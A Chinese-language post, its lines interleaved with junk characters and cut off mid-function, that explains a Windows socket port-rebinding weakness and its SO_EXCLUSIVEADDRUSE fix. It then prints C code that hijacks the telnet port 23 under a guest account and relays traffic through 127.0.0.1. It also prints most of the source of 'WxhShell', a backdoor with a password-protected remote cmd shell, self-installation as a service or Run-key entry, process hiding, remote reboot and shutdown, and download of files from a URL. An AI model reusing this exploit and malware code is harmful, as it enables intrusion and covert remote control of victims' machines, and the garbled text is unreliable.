在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
|4vk@0L s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Q"O _h ']Z8C)tK saddr.sin_family = AF_INET;
G1rgp>m dkjL;1 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
B_>
Fd& }R^{<{KVJ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
{`VQL 6(i
h.nz kp5 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
!?{5ET,gtN I8y\D, 这意味着什么?意味着可以进行如下的攻击:
M4| L ;XT$rtuX 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
r_G`#Z_5F _
0-YsD 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
tBrVg<]t F~EriO 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
k.%F!sK PyYe>a;. 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
@y +Wl*:
qcqf9g 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
2.yzR DfZ A!c.P2 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
ZD3S|1zSQ EOL03N 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Jy9&=Qh E%TvGe;# #include
vsK>?5{C- #include
H
X8q+ #include
g(1'i 1 #include
Uu
,Re DWORD WINAPI ClientThread(LPVOID lpParam);
~1p
f ? int main()
3XIxuQwf {
[*fnTy WORD wVersionRequested;
OX91b<A DWORD ret;
nP.d5%E WSADATA wsaData;
3hkA`YSYt BOOL val;
piU4%EO SOCKADDR_IN saddr;
,M9'S;&^ SOCKADDR_IN scaddr;
]Sh&8 # int err;
][3 "xP SOCKET s;
ctf'/IZ5 SOCKET sc;
N'4*L=Ut int caddsize;
SLW1]ZaG HANDLE mt;
sB $!X@ DWORD tid;
!*p lK6a wVersionRequested = MAKEWORD( 2, 2 );
:H~r
_>E err = WSAStartup( wVersionRequested, &wsaData );
46b.= } if ( err != 0 ) {
\>+gZc]an printf("error!WSAStartup failed!\n");
=Oy,SX return -1;
rS=6d6@ }
B$)KZR(u saddr.sin_family = AF_INET;
p?Y1^/
t^q/'9Ai&J //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
jsuQR qFay]V(O| saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
s;bqUY?LD saddr.sin_port = htons(23);
d%WFgf} if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
t<4+CC2H {
_$r+*nGDz printf("error!socket failed!\n");
Rcu/ @j{O return -1;
FK->| }
9vXrC_W9 val = TRUE;
\eN }V //SO_REUSEADDR选项就是可以实现端口重绑定的
Ox58L>:0m if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
f+rBIE {
#6JG#!W printf("error!setsockopt failed!\n");
/gxwp:&lY return -1;
[K^RC;}nV^ }
'INdZ8j_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
cEe>Lyt //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
xSw ^v6!2 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Ax&+UxQ0| ~#wq sm if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
W)\~T :Kn {
(|W@p\Q ret=GetLastError();
GZse8ng printf("error!bind failed!\n");
X"yLo8y8$ return -1;
dD=dPi# }
q?`bu:yS listen(s,2);
F*QGzbv) while(1)
zH.7!jeE {
i),W1<A1 caddsize = sizeof(scaddr);
"/K44(^ //接受连接请求
zT.qNtU% sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
nM@S`" if(sc!=INVALID_SOCKET)
w9vqFtj {
[-Dx)N mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
$cc]pJy"} if(mt==NULL)
QHK$2xtq| {
)8yNqnD printf("Thread Creat Failed!\n");
B&cC;Hw break;
r.[9/'> }
jfk`%CEk= }
fF;-d2mF CloseHandle(mt);
fxjs"rD5 }
#5F\zeo@F? closesocket(s);
$Die~rPU WSACleanup();
O.}{s; return 0;
d&F8nBIM5 }
~i(X{^,3 DWORD WINAPI ClientThread(LPVOID lpParam)
k5(@n>p {
TC'tui SOCKET ss = (SOCKET)lpParam;
Po% V%~ SOCKET sc;
_L9`bzZj
unsigned char buf[4096];
Ue!
&Vm SOCKADDR_IN saddr;
0m!+gZ@ long num;
N\rbnr DWORD val;
Tw=Jc 's DWORD ret;
NeQ/#[~g //如果是隐藏端口应用的话,可以在此处加一些判断
0:Xvch0 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
>A#]60w. saddr.sin_family = AF_INET;
@jX[Ho0W' saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
.#@*)1A#t saddr.sin_port = htons(23);
S-GcH if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&;|/I`+ {
LJ9^:U printf("error!socket failed!\n");
(z#qkKL{^ return -1;
Ng2qu!F7 }
p1q"[)WVn^ val = 100;
nKT\ /}d if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
l@%MS\{ {
Ap=LlZ ret = GetLastError();
uD_iyK0, return -1;
"1t%J7c_ }
m!V ?xGKJ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
;~3CuN8 {
9ELLJ@oNC ret = GetLastError();
82{Lx7pI return -1;
,dP-sD;< }
#3leMZ6 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Z+x,Awq {
o[X'We; printf("error!socket connect failed!\n");
!ffdeWHR closesocket(sc);
{%*,KB>b closesocket(ss);
,E<(K8 return -1;
R_`i=>Z- }
:2vk
vLM while(1)
zuwlVn {
F|Pf-.r`t //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
akoK4!z //如果是嗅探内容的话,可以再此处进行内容分析和记录
[LbUlNq^B@ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
|wZcVct~ num = recv(ss,buf,4096,0);
Kf/1;:^ if(num>0)
FWNWOU send(sc,buf,num,0);
07`hQn)Gc else if(num==0)
8>%:MS" break;
$hXhq*5|c num = recv(sc,buf,4096,0);
PRg^E4 if(num>0)
@@M
2s( send(ss,buf,num,0);
rOHU)2 else if(num==0)
J'jwRn break;
kr[p4X4 }
ux:czZqy closesocket(ss);
tNj-~r closesocket(sc);
mII7p LbQ return 0 ;
WBvh<wTw; }
pUi|&F K"> $dIu${lu 'B>fRN ==========================================================
AwN7/M~' I&%{%*y 下边附上一个代码,,WXhSHELL
e)"]H* ?NkweT( ==========================================================
,T&=*q q$x$ 4 #include "stdafx.h"
,rc?,J1l '#pY/,hVB #include <stdio.h>
Myaj81 #include <string.h>
o_R<7o/d| #include <windows.h>
'RZ=A+% X #include <winsock2.h>
Oh)s"f\N #include <winsvc.h>
(xxNQ]
l-( #include <urlmon.h>
R9bsl.e |,#DB #pragma comment (lib, "Ws2_32.lib")
_kGJqyYV #pragma comment (lib, "urlmon.lib")
2^RWGCEv Va"H.] #define MAX_USER 100 // 最大客户端连接数
E0?R,+>&4 #define BUF_SOCK 200 // sock buffer
6:_@ ;/03% #define KEY_BUFF 255 // 输入 buffer
`<_A#@ qmQ}
#define REBOOT 0 // 重启
q=Xd a0c #define SHUTDOWN 1 // 关机
X)6}<A b/;!yOF #define DEF_PORT 5000 // 监听端口
nwSujD
qTxw5.Ai! #define REG_LEN 16 // 注册表键长度
k%2woHSu& #define SVC_LEN 80 // NT服务名长度
o\<m99Ub J5Pi"U$FkY // 从dll定义API
SUGB)vEa typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
b~$B0o) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
"MS}@NLUW typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
5@ c/,6l typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
bzj9U>eY Tx)!qpZ // wxhshell配置信息
CcDmZ struct WSCFG {
w2 %u;D% int ws_port; // 监听端口
iB-h3/ char ws_passstr[REG_LEN]; // 口令
NWL\"xp
`t int ws_autoins; // 安装标记, 1=yes 0=no
d OG]Yjc char ws_regname[REG_LEN]; // 注册表键名
F"I{_yleq' char ws_svcname[REG_LEN]; // 服务名
(_2Iu%F char ws_svcdisp[SVC_LEN]; // 服务显示名
CB!5>k+mC char ws_svcdesc[SVC_LEN]; // 服务描述信息
^v2-"mX< char ws_passmsg[SVC_LEN]; // 密码输入提示信息
VKGH+j[ int ws_downexe; // 下载执行标记, 1=yes 0=no
]\TYVv) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
MawWgd* char ws_filenam[SVC_LEN]; // 下载后保存的文件名
PeU>h2t BeR7LV };
yZHh@W4v ^jph"a C // default Wxhshell configuration
ioJ~k[T struct WSCFG wscfg={DEF_PORT,
{:@MBA34 "xuhuanlingzhe",
@'5*u~M 1,
p*LG Y+ "Wxhshell",
l( Y
U9dp "Wxhshell",
[nYm-\M "WxhShell Service",
2D'b7zPJ3 "Wrsky Windows CmdShell Service",
C4,;l^?=% "Please Input Your Password: ",
44r@8HO1 1,
JyiP3whW "
http://www.wrsky.com/wxhshell.exe",
`qXCY^BH2 "Wxhshell.exe"
7A,QA5G]C };
n8K FP U-]Rm}X\M // 消息定义模块
9sQ#v-+Yx char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
E:7R>.g char *msg_ws_prompt="\n\r? for help\n\r#>";
?@@BIg- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
EdC^L`:: char *msg_ws_ext="\n\rExit.";
Jm#mC char *msg_ws_end="\n\rQuit.";
A vh"(j char *msg_ws_boot="\n\rReboot...";
&7 0o4~Fr char *msg_ws_poff="\n\rShutdown...";
n7A %y2 char *msg_ws_down="\n\rSave to ";
'nx";[6( [c`u char *msg_ws_err="\n\rErr!";
?=^~(x?S char *msg_ws_ok="\n\rOK!";
B)L=)N M94zlW< char ExeFile[MAX_PATH];
3QZ~t#,7ij int nUser = 0;
O>vbAIu HANDLE handles[MAX_USER];
B8G9V6KS- int OsIsNt;
e6
&-f sJ3O ] SERVICE_STATUS serviceStatus;
0`H)c)
pP SERVICE_STATUS_HANDLE hServiceStatusHandle;
eV"Za.a. 03)R_A // 函数声明
W]TO%x{ int Install(void);
arQEi int Uninstall(void);
vG2&qjY1 int DownloadFile(char *sURL, SOCKET wsh);
|0wHNRN_ int Boot(int flag);
!kpnBgm U void HideProc(void);
U
%,K8u|WH int GetOsVer(void);
g!![%*'
b int Wxhshell(SOCKET wsl);
q8=hUD%5C void TalkWithClient(void *cs);
#Rw9Iy4 int CmdShell(SOCKET sock);
^.Xom~ int StartFromService(void);
o6b\
w int StartWxhshell(LPSTR lpCmdLine);
`@tnEg 3;E,B7,mQ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
WVMkLMg8d VOID WINAPI NTServiceHandler( DWORD fdwControl );
MJ%gF=$X {>]7xTpwZ // 数据结构和表定义
"d3qUk SERVICE_TABLE_ENTRY DispatchTable[] =
;ND)h pD+ {
w(6(Fze {wscfg.ws_svcname, NTServiceMain},
)=9EShz! {NULL, NULL}
zZh\e,* };
C)H1<Br7 +\D?H.P // 自我安装
"Vw;y+F} int Install(void)
l,w$!FnmR {
9$iDK$% char svExeFile[MAX_PATH];
Vmb `%k20' HKEY key;
p$+.] strcpy(svExeFile,ExeFile);
naaww Fx]}<IudA^ // 如果是win9x系统,修改注册表设为自启动
q\I2lZ if(!OsIsNt) {
9FKowF_8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?c7}
v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
qiyX{J7Z RegCloseKey(key);
OtsW>L@ O( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"'9[c"Iz RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
dU<qFxW RegCloseKey(key);
`9>1 w d return 0;
9|K3xH }
(Z)F6sZ`8 }
EW Z?q$ }
\|wUxijJ*, else {
<<iwJ
U%: &}+^*X // 如果是NT以上系统,安装为系统服务
caC-JcDXy SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
{wS)M if (schSCManager!=0)
{zmh0c;| {
pI]tv@>:f SC_HANDLE schService = CreateService
xn BL{
[] (
O)EA2`)E schSCManager,
Ug~]!L wscfg.ws_svcname,
m,1Hlp wscfg.ws_svcdisp,
AzlZe\V?)~ SERVICE_ALL_ACCESS,
um}%<Cy[ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
O&vE 5%x SERVICE_AUTO_START,
gd=gc<z YP SERVICE_ERROR_NORMAL,
a}#8n^2 svExeFile,
V!XT=Ou?6 NULL,
fa:V8xa
NULL,
ji] H| NULL,
&X`zk NULL,
LagHzCB NULL
[>#@?@x`P );
rq]zt2 if (schService!=0)
#l<un< {
9irT}e CloseServiceHandle(schService);
%j7HIxZh CloseServiceHandle(schSCManager);
jVxX! V strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
9% wVE] strcat(svExeFile,wscfg.ws_svcname);
NKX62 ZC if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
\YN(rD- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
6_vhBYLf RegCloseKey(key);
w1 5QqhlK return 0;
UifuRmn }
_f1~r^(/T0 }
f*tKj.P CloseServiceHandle(schSCManager);
piPx8jT`F }
r}%2;!T }
hP$v,"$ MjrI0@R return 1;
Pr_$%x9D }
$?FA7=_ &'{?Y;A // 自我卸载
2]i>kV/,0 int Uninstall(void)
:u4q.^&!e {
a"Q> K7K HKEY key;
)u67=0s2i+ $(A LxC if(!OsIsNt) {
mQiVTIP3[O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
]?"1FSu-8r RegDeleteValue(key,wscfg.ws_regname);
+.Cx.Nf( RegCloseKey(key);
S`?L\R.: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
6U!zc]> RegDeleteValue(key,wscfg.ws_regname);
^U@-Dp,k+ RegCloseKey(key);
A."]6R< return 0;
YZllfw$9 }
g6V>_| }
Ak=|wY{ }
M"l<::z else {
wLW[Vur[ DM[gjfMXu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
23|R $s>}i if (schSCManager!=0)
?K9zTas@ {
l
NhX)D^t SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
079mn/8; if (schService!=0)
$ytlj1. {
c'Mi9,q if(DeleteService(schService)!=0) {
TLWU7aj&! CloseServiceHandle(schService);
IJ zPWs5W: CloseServiceHandle(schSCManager);
>^|(AzS return 0;
;:l>Kac }
}g]O_fN7~ CloseServiceHandle(schService);
wB0Ke }
>/eV4ma" CloseServiceHandle(schSCManager);
EDAVU }
1.6Y=Mh=i[ }
z pV+W-j] JA(M'&q4 return 1;
#qPWJ }
V
'e_gH (w/)u // 从指定url下载文件
s^6"qhTa int DownloadFile(char *sURL, SOCKET wsh)
SGK=WLGM8 {
azT@S=, HRESULT hr;
R.rxpJ+kU char seps[]= "/";
W{js9$oJ char *token;
Z.x9SEe1t char *file;
@Z{!T)#}j char myURL[MAX_PATH];
o%1dbbh char myFILE[MAX_PATH];
XI8rU)q ]%I}hjJ strcpy(myURL,sURL);
Oqy&V&-C token=strtok(myURL,seps);
eABLBsx while(token!=NULL)
^}\!Sn {
'"~ 2xiin file=token;
KDUa0$" token=strtok(NULL,seps);
4qe!+!#$ }
\&Bvh4Q stcbM GetCurrentDirectory(MAX_PATH,myFILE);
d|Q_Z@;JF strcat(myFILE, "\\");
530Z>q strcat(myFILE, file);
!W?6,i -] send(wsh,myFILE,strlen(myFILE),0);
rJ 7yq|^Z send(wsh,"...",3,0);
OEwKT7CX hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
6OLp x)fG if(hr==S_OK)
x+B7r&#: return 0;
)xPfz else
"1X@t'H38 return 1;
gI5" \"T{ IP3%'2}- }
uFH ]w]X r)Dln5F // 系统电源模块
ImZ!8# int Boot(int flag)
)e6)~3[^ {
fH6mv0 HANDLE hToken;
t;2\(_A TOKEN_PRIVILEGES tkp;
s+RSAyU >56I`[) if(OsIsNt) {
}US^GEs( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
"PhP1;A9, LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
xfsf tkp.PrivilegeCount = 1;
kH9P(`;Vq tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
"pLWJvj6- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
)*tV if(flag==REBOOT) {
WD${f#]N if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
hNWZ1r~_ return 0;
$V?h68[c }
6Rcl HU else {
BGO!c[- if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
C!%\cy%Xj return 0;
20Rj
Rd }
r'5~4'o$ }
,y%4QvG7a else {
:K]&rGi, if(flag==REBOOT) {
<{xU.zp'
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
+*AdSzX return 0;
gLGu#6YVu }
(s?Rbd else {
zv>3Tc0R if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
:
#om6} return 0;
{@tqeu%IM }
dd&n>A3O= }
ZQV,gIFys 'Bc{N^ return 1;
%D9,Femt }
o:x,zfW Z'F=Xw6;b // win9x进程隐藏模块
$22_>OsA void HideProc(void)
-o`Eka!ELz {
c@&-c [k^W rz'A#-?'oG HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
IA$)E if ( hKernel != NULL )
E]<Ce;Vj {
l%^VBv>
2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
0[SJ7k19 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
n9p_D FreeLibrary(hKernel);
W7 iml|WV0 }
+q NX/F BXx0Z
%e.3 return;
t!S ja }
xQ{n|)i> "?r=n@Kv // 获取操作系统版本
45+w)Vf! int GetOsVer(void)
@s[Vtw%f {
#Y9'n0 AL OSVERSIONINFO winfo;
HC[)):S* winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
U.mVz,k3 GetVersionEx(&winfo);
Za4X
; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
iT;~0XU7F return 1;
d@u)'AY%/ else
+dB/SC-^U return 0;
=!pfgE }
7=e!k-G HXY,e$c#y // 客户端句柄模块
[->uDbt zL int Wxhshell(SOCKET wsl)
%n7mN]) {
)08mG_&atL SOCKET wsh;
bU+
z(Eg6 struct sockaddr_in client;
1_Ag:>#X DWORD myID;
&y~EEh| C~PoC'"q while(nUser<MAX_USER)
b{WEux{) {
Gs7#W:e7 int nSize=sizeof(client);
Ivdg1X wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
%8N=4vTJ if(wsh==INVALID_SOCKET) return 1;
_Vj uQ Ait3KIJ9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
k 6)ThIG if(handles[nUser]==0)
O,>`#? closesocket(wsh);
[LcHO] _^M else
=%UX"K` nUser++;
(w+dB8)X }
Wdp?<U WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
2S`D7R#6s vI)-Zz[3 return 0;
J#L"kz }
M1sR+e$" p~h)@ // 关闭 socket
={GYJ.*Ah void CloseIt(SOCKET wsh)
ejID5NqG {
t(,_ closesocket(wsh);
4PVkKP'/ nUser--;
vxmz3ht,Q ExitThread(0);
OB&lq.r }
Xgs 31#K K.{:H4_ // 客户端请求句柄
Z\@m_/g void TalkWithClient(void *cs)
I,pI2 {
r'C(+E ( hj8S# SOCKET wsh=(SOCKET)cs;
/!//i^ char pwd[SVC_LEN];
7j
<:hF~ char cmd[KEY_BUFF];
k'hJ@6eKS char chr[1];
Gx.iZOOH/ int i,j;
9sR?aW^$,/ mV58&SZT while (nUser < MAX_USER) {
9)Jc'd| HS% P if(wscfg.ws_passstr) {
w&F/P]1 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|D
?}6z //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
lN<,<'&^. //ZeroMemory(pwd,KEY_BUFF);
VXpbmg!{S i=0;
P%- @AmO^_ while(i<SVC_LEN) {
)w.\xA~| k~<b~VcU // 设置超时
/M.@dW7
w fd_set FdRead;
p%_m!
struct timeval TimeOut;
Ul41RNy) FD_ZERO(&FdRead);
,2I8,MOg FD_SET(wsh,&FdRead);
c,\!<4 TimeOut.tv_sec=8;
@H?_x/qBT TimeOut.tv_usec=0;
~S='~ g) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
jZ;dY~fE if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Xw|t.0 ~gjREl,+D# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
H /kSFf{ pwd
=chr[0]; +Je(]b@
if(chr[0]==0xd || chr[0]==0xa) { &;D(VdSr9
pwd=0; @ n-[bN
break; W)0y+H\%
r
} kDrqV{_
i++; bkZ~O=uv$-
} )kq3q5*_
)7H s
// 如果是非法用户,关闭 socket ;g0p`wV
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DKcg
} \8 I>^4t'/
C9`J6Uu
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @y#QHJ.j
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?Cu1"bl
Hvm+Tr2@
while(1) { JpFfO<uO
:-I~-Yj
ZeroMemory(cmd,KEY_BUFF); vWM3JH~a6
RuW62QSq
// 自动支持客户端 telnet标准 E903T' 's
j=0; S @EkrC\4n
while(j<KEY_BUFF) { .>K):|Opv
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /Ww_fY
cmd[j]=chr[0]; QzzV+YG$(4
if(chr[0]==0xa || chr[0]==0xd) { GCf3'u
cmd[j]=0; t:|+U:! >
break; s?.A
$^t
} 6 +:Tv2
j++; RawK9K_1
} 1>doa1
x}w"2[fL
// 下载文件 g' xR$6t
if(strstr(cmd,"http://")) { q=M\#MlL0'
send(wsh,msg_ws_down,strlen(msg_ws_down),0); q 16jL,i
if(DownloadFile(cmd,wsh)) a!;]9}u7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Gs*y1
else 78s:~|WB<{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j:yQP#U
} rt7Ma2tK
else { 2 us-s
&*I\~;1
switch(cmd[0]) { suh@
?ah<Qf]
// 帮助 =ZsM[wd
case '?': { MZ(TST"
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q+MV@8w
break; FyZa1%Tv@
} k
\|[=
// 安装 H$:Z`CQt<
case 'i': { VtR?/+8X
if(Install()) 5aF03+ko
send(wsh,msg_ws_err,strlen(msg_ws_err),0); MI|51&m
else _.xT
:b36
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YHVJg?H3
break; O};U3=^0f
} T;eA<,H
// 卸载 !bnuC c
case 'r': { idm!6]
if(Uninstall()) )\:cL GM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =:+k
else 0hKF)b
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p< fKj
break; 4T-9F
} >H@
zP8
// 显示 wxhshell 所在路径 'L*nC
T;
case 'p': { OIF0X!
char svExeFile[MAX_PATH]; &&0,;r,-)
strcpy(svExeFile,"\n\r"); |(gq:O
strcat(svExeFile,ExeFile); t'uZho~^F
send(wsh,svExeFile,strlen(svExeFile),0); [69[Ct
break; oKIry
8'^N
} _}X_^taTZS
// 重启 5Rv6+d
case 'b': { s!\uR.
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U _~lpu
if(Boot(REBOOT)) U9D4bn D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {emO=@CP
else { w ' E
closesocket(wsh); zN(fZT}K5
ExitThread(0); g)*[W>M
} f-9&n4=H
break; ,3G8afo
} "_qH+=_R
// 关机 8K!
l X
case 'd': { {:&t;5qz^
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &qki
NS
if(Boot(SHUTDOWN)) 1 l'Wb2g>A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0`=#1u8
else { 5oQy
$Y
closesocket(wsh); DLYk#d: q?
ExitThread(0); h+k:G9;sS
} .+<Ul]e/
break; \UI7H1XDH
} j2T
Z`Z?a^
// 获取shell >9{Gdq[gyr
case 's': { TIg3'au
CmdShell(wsh); 7Op6>i
closesocket(wsh); ;BV1E|j
ExitThread(0); 7:U ^Ki
break; 2R&msdF
} ]/!#:
// 退出 ?5e:w?&g@
case 'x': { 2f1WT g)
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /,'D4s:Gg
CloseIt(wsh); ^)&d7cSc
break; 'c 0]8Y4
} 1 dT1DcZ
// 离开 n?*Fr sZ
case 'q': { "nXL7N0
send(wsh,msg_ws_end,strlen(msg_ws_end),0); l~,5)*T
closesocket(wsh); $LLkYOwI
WSACleanup(); A-\OB
Nh
exit(1); nwh7DUi
break; F}P+3IaE
} >3V{I'^^-
} $:V'+s4o
} ^)Xl7d|m+
~:r:?PwWG
// 提示信息 * 8n0
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EnXNTat})
} Qvh: hkR
} y^:!]-+
WpE\N0Yg
return; (J8(_MF
} Tj}H3/2
J[rpMQ
// shell模块句柄 $pK2H0c
int CmdShell(SOCKET sock) JQQP!]%}
{ N;ed_!
STARTUPINFO si; !Mp.jE
ZeroMemory(&si,sizeof(si)); F@Qzh
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FU9q|!2Y
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (K"U# Zn
PROCESS_INFORMATION ProcessInfo; p`lv$ @q'
char cmdline[]="cmd"; ,)3%@MwO
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [k-Q89
return 0; %EA|2O.D
} s(W]>Ib
G9ku(2cq
// 自身启动模式 +CL`]'~;E-
int StartFromService(void) 8 SII>iL{
{ xMNUyB{?
typedef struct _oK*1#Rm8
{ /?<o?IR~6
DWORD ExitStatus; /1ZRjf^
DWORD PebBaseAddress; cl
kL)7RQ
